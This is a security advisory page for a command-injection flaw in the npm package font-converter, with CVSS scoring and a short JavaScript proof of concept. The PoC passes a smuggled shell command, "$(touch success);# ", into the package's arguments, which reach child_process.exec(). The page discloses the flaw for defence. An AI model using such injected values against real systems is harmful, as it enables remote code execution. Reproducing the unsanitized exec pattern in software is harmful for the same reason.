Lucene search

K
githubGitHub Advisory DatabaseGHSA-G2C3-VWFF-M3XR
HistoryAug 29, 2022 - 8:06 p.m.

Font-Converter Vulnerable to Arbitrary Command Injection

2022-08-2920:06:54
CWE-77
GitHub Advisory Database
github.com
3
vulnerable
arbitrary command injection
fontforge
conversion
missing sanitization
input
child process exec
package

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.006 Low

EPSS

Percentile

78.1%

Overview

font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)

All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.

PoC

var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
    new PUT(x, x, x, x);
} catch (e) {
    console.log(e);
}

Affected configurations

Vulners
Node
fontconverterRange1.1.1
CPENameOperatorVersion
font-converterle1.1.1

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.7 High

AI Score

Confidence

High

0.006 Low

EPSS

Percentile

78.1%

Related for GHSA-G2C3-VWFF-M3XR